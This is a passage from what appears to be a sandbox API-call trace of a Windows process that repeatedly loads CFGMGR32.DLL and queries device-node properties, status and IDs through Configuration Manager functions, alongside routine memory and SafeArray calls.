hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0190.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0190.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0190.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0190.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0190.127] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0190.127] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0190.127] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0190.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0190.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0190.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0190.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0190.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0190.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0190.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0190.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0190.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0190.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0190.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0190.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0190.131] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0190.131] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0190.131] malloc (_Size=0x18) returned 0x196ef0d1e80 [0190.131] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0190.139] malloc (_Size=0x48) returned 0x196ef0fba40 [0190.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x522ee366, dwHighDateTime=0x1d9eb0c)) [0190.140] SetEvent (hEvent=0x248) returned 1 [0190.140] SetEvent (hEvent=0x248) returned 1 [0190.141] free (_Block=0x196ef0fba40) [0190.141] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0190.141] malloc (_Size=0x48) returned 0x196ef0fb2c0 [0190.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x522ee366, dwHighDateTime=0x1d9eb0c)) [0190.141] SetEvent (hEvent=0x248) returned 1 [0190.142] SetEvent (hEvent=0x248) returned 1 [0190.143] free (_Block=0x196ef0fb2c0) [0190.143] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0190.144] malloc (_Size=0x48) returned 0x196ef0fba40 [0190.144] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x52313b4b, dwHighDateTime=0x1d9eb0c)) [0190.144] SetEvent (hEvent=0x248) returned 1 [0190.145] SetEvent (hEvent=0x248) returned 1 [0190.146] free (_Block=0x196ef0fba40) [0190.146] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0190.146] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0190.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x52313b4b, dwHighDateTime=0x1d9eb0c)) [0190.146] SetEvent (hEvent=0x248) returned 1 [0190.150] SetEvent (hEvent=0x248) returned 1 [0190.150] free (_Block=0x196ef0fbfe0) [0190.150] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0190.218] malloc (_Size=0x48) returned 0x196ef0fba40 [0190.218] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x523ac542, dwHighDateTime=0x1d9eb0c)) [0190.219] SetEvent (hEvent=0x248) returned 1 [0190.222] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0190.222] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0190.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0190.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0190.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0190.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0190.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0190.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0190.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0190.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0190.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0190.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0190.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0190.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0190.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0190.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0190.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0190.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0190.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0190.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0190.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0190.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0190.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0190.226] malloc (_Size=0x18) returned 0x196ef0d19a0 [0190.226] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x26, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0190.226] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0190.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x523d2885, dwHighDateTime=0x1d9eb0c)) [0190.226] SetEvent (hEvent=0x248) returned 1 [0190.230] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0190.230] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0190.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0190.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0190.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0190.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0190.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0190.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0190.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0190.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0190.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0190.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0190.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0190.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0190.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0190.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0190.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0190.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0190.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0190.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0190.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0190.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0190.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0190.234] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0190.234] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x26, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0190.234] malloc (_Size=0x48) returned 0x196ef0fbe50 [0190.234] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x523d2885, dwHighDateTime=0x1d9eb0c)) [0190.235] SetEvent (hEvent=0x248) returned 1 [0190.238] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0190.238] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0190.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0190.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0190.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0190.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0190.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0190.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0190.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0190.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0190.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0190.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0190.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0190.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0190.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0190.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0190.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0190.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0190.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0190.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0190.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0190.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0190.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0190.241] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0190.241] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0190.241] malloc (_Size=0x48) returned 0x196ef0fb450 [0190.241] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x523f8a06, dwHighDateTime=0x1d9eb0c)) [0190.241] SetEvent (hEvent=0x248) returned 1 [0190.245] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0190.245] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0190.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0190.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0190.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0190.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0190.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0190.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0190.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0190.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0190.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0190.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0190.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0190.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0190.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0190.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0190.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0190.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0190.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0190.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0190.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0190.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0190.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0190.248] malloc (_Size=0x18) returned 0x196ef0d1f60 [0190.248] CM_Get_Device_IDA (in: dnDevInst=0x27, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\UMBUS\\0000") returned 0x0 [0190.248] malloc (_Size=0x48) returned 0x196ef0fb720 [0190.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x523f8a06, dwHighDateTime=0x1d9eb0c)) [0190.248] SetEvent (hEvent=0x248) returned 1 [0190.252] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0190.252] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0190.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0190.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0190.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0190.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0190.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0190.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0190.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0190.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0190.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0190.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0190.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0190.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0190.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0190.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0190.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0190.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0190.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0190.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0190.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0190.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0190.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0190.258] malloc (_Size=0x18) returned 0x196ef0d2080 [0190.259] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0190.259] malloc (_Size=0x18) returned 0x196ef0d1e60 [0190.259] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d1e60, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d1e60, pulLength=0x67117d608) returned 0x0 [0190.260] free (_Block=0x196ef0d1e60) [0190.260] malloc (_Size=0x48) returned 0x196ef0fb220 [0190.260] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5241ef23, dwHighDateTime=0x1d9eb0c)) [0190.260] SetEvent (hEvent=0x248) returned 1 [0190.378] malloc (_Size=0x18) returned 0x196ef0d20a0 [0190.378] SafeArrayPutElement (psa=0x196ee7bf6a0, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0190.378] free (_Block=0x196ef0d20a0) [0190.378] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855fe0 [0190.378] SafeArrayGetDim (psa=0x196ee7bf6a0) returned 0x1 [0190.378] SafeArrayGetLBound (in: psa=0x196ee7bf6a0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0190.378] SafeArrayGetUBound (in: psa=0x196ee7bf6a0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0190.378] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b5f90 [0190.378] SafeArrayGetDim (psa=0x196ee7bf6a0) returned 0x1 [0190.378] SafeArrayGetUBound (in: psa=0x196ee7bf6a0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0190.378] SafeArrayGetElemsize (psa=0x196ee7bf6a0) returned 0x8 [0190.379] SafeArrayGetElement (in: psa=0x196ee7bf6a0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0190.379] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225d10, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0190.380] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b5f90) returned 1 [0190.380] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855fe0) returned 1 [0190.381] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0190.381] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0190.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0190.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0190.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0190.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0190.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0190.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0190.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0190.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0190.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0190.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0190.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0190.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0190.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0190.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0190.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0190.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0190.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0190.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0190.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0190.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0190.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0190.387] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0190.388] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0190.388] malloc (_Size=0x48) returned 0x196ef0fbe50 [0190.388] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5254ff85, dwHighDateTime=0x1d9eb0c)) [0190.388] SetEvent (hEvent=0x248) returned 1 [0190.391] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0190.392] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0190.392] 